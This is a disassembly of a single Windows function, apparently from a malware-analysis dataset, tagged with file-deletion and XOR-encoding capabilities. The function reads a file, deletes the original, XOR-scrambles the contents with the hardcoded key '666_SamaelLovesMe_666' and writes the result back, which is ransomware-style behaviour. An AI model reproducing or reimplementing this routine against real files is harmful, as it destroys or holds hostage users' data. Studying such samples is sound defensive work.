Function at 0x405080
Capabilities:
Delete file
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4212d6
mov eax, dword fs:[0]
push eax
sub esp, 0x184
push ebx
push esi
push edi
mov eax, dword [0x42c6dc]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, ecx
sub esp, 8
lea ecx, [ebp - 0xd0]
push 0x20
push ebx
call fcn.00403770
mov dword [ebp - 4], 0
mov ecx, dword [ebp - 0xd0]
mov eax, dword [ecx + 4]
test byte [ebp + eax - 0xc4], 6
je 0x4050df
xor bl, bl
jmp 0x405320
push 2
sub esp, 8
lea ecx, [ebp - 0xd0]
call fcn.004028b0
lea eax, [ebp - 0x190]
push eax
lea ecx, [ebp - 0xd0]
call fcn.004029b0
mov edi, dword [eax + 8]
add edi, dword [eax]
push 0
sub esp, 8
lea ecx, [ebp - 0xd0]
call fcn.004028b0
push edi
call fcn.00409a77
mov esi, eax
mov eax, edi
cdq
mov ecx, eax
add esp, 4
mov eax, edx
push eax
push ecx
mov dword [ebp - 0x10], ecx
push esi
lea ecx, [ebp - 0xd0]
mov dword [ebp - 0x18], eax
call fcn.00402780
lea ecx, [ebp - 0xc0]
call fcn.00403e50
test eax, eax
jne 0x405173
mov eax, dword [ebp - 0xd0]
lea ecx, [ebp - 0xd0]
mov eax, dword [eax + 4]
add ecx, eax
mov eax, dword [ecx + 0xc]
or eax, 2
cmp dword [ecx + 0x38], 0
jne 0x40516b
or eax, 4
push 0
push eax
call fcn.004017a0
push ebx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
xor ecx, ecx
test edi, edi
je 0x40519d
mov dword [ebp - 0x14], 0x15
mov eax, ecx
xor edx, edx
div dword [ebp - 0x14]
inc ecx
mov al, byte [edx + str.666_SamaelLovesMe_666]
xor byte [ecx + esi - 1], al
cmp ecx, edi
jb 0x405187
sub esp, 0xc
lea ecx, [ebp - 0x178]
push ebx
call fcn.00402d90
mov byte [ebp - 4], 1
mov eax, dword [ebp - 0x178]
mov eax, dword [eax + 4]
test byte [ebp + eax - 0x16c], 6
je 0x4051d0
push esi
call fcn.0040b2a4
add esp, 4
xor bl, bl
jmp 0x405224
push dword [ebp - 0x18]
lea ecx, [ebp - 0x178]
push dword [ebp - 0x10]
push esi
call fcn.00402510
lea ecx, [ebp - 0x174]
call fcn.00403e50
test eax, eax
jne 0x405219
mov eax, dword [ebp - 0x178]
lea ecx, [ebp - 0x178]
mov eax, dword [eax + 4]
add ecx, eax
mov eax, dword [ecx + 0xc]
or eax, 2
cmp dword [ecx + 0x38], 0
jne 0x405211
or eax, 4
push 0
push eax
call fcn.004017a0
push esi
call fcn.0040b2a4
add esp, 4
mov bl, 1
mov byte [ebp - 4], 0
mov eax, dword [ebp - 0x178]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ofstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x178]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x60]
mov dword [ebp + ecx - 0x17c], eax
cmp dword [ebp - 0x124], 0
mov dword [ebp - method.std::basic_filebuf_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
je 0x405292
mov edx, dword [ebp - 0x168]
lea eax, [ebp - 0x130]
cmp dword [edx], eax
jne 0x405292
mov eax, dword [ebp - 0x13c]
mov ecx, dword [ebp - 0x138]
mov dword [edx], eax
mov eax, dword [ebp - 0x158]
mov dword [eax], ecx
mov eax, dword [ebp - 0x148]
sub ecx, ecx
mov dword [eax], ecx
cmp byte [ebp - 0x128], 0
je 0x4052a6
lea ecx, [ebp - 0x174]
call fcn.00403e50
mov esi, dword [ebp - 0x140]
mov dword [ebp - method.std::basic_streambuf_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_streambuf_char__struct_std::char_traits_char__.0
test esi, esi
je 0x4052da
mov ecx, dword [esi]
test ecx, ecx
je 0x4052d1
mov eax, dword [ecx]
call dword [eax + 8]
test eax, eax
je 0x4052d1
mov edx, dword [eax]
push 1
mov ecx, eax
call dword [edx]
push esi
call fcn.0040b328
add esp, 4
mov eax, dword [ebp - 0x178]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ostream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x178]
mov ecx, dword [eax + 4]
lea eax, [ecx - 8]
mov dword [ebp + ecx - 0x17c], eax
lea eax, [ebp - 0x118]
push eax
mov dword [ebp - method.std::basic_ios_char__struct_std::char_traits_char__.virtual_0], vtable.std::ios_base.0
call fcn.0040972f
mov ecx, dword [ebp - 0xd0]
add esp, 4
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ecx + 4]
mov dword [ebp + eax - 0xd0], vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0xd0]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x70]
mov dword [ebp + ecx - 0xd4], eax
cmp dword [ebp - 0x70], 0
mov dword [ebp - 0xc0], vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
je 0x405385
mov edx, dword [ebp - 0xb4]
lea eax, [ebp - 0x7c]
cmp dword [edx], eax
jne 0x405385
mov eax, dword [ebp - 0x88]
mov ecx, dword [ebp - 0x84]
mov dword [edx], eax
mov eax, dword [ebp - 0xa4]
mov dword [eax], ecx
mov eax, dword [ebp - 0x94]
sub ecx, ecx
mov dword [eax], ecx
cmp byte [ebp - 0x74], 0
je 0x405396
lea ecx, [ebp - 0xc0]
call fcn.00403e50
mov esi, dword [ebp - 0x8c]
mov dword [ebp - 0xc0], vtable.std::basic_streambuf_char__struct_std::char_traits_char__.0
test esi, esi
je 0x4053ca
mov ecx, dword [esi]
test ecx, ecx
je 0x4053c1
mov eax, dword [ecx]
call dword [eax + 8]
test eax, eax
je 0x4053c1
mov edx, dword [eax]
push 1
mov ecx, eax
call dword [edx]
push esi
call fcn.0040b328
add esp, 4
mov eax, dword [ebp - 0xd0]
mov eax, dword [eax + 4]
mov dword [ebp + eax - 0xd0], vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov ecx, dword [ebp - 0xd0]
lea eax, [ebp - 0x60]
mov edx, dword [ecx + 4]
push eax
lea ecx, [edx - 0x18]
mov dword [ebp + edx - 0xd4], ecx
mov dword [ebp - 0x60], vtable.std::ios_base.0
call fcn.0040972f
add esp, 4
mov al, bl
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret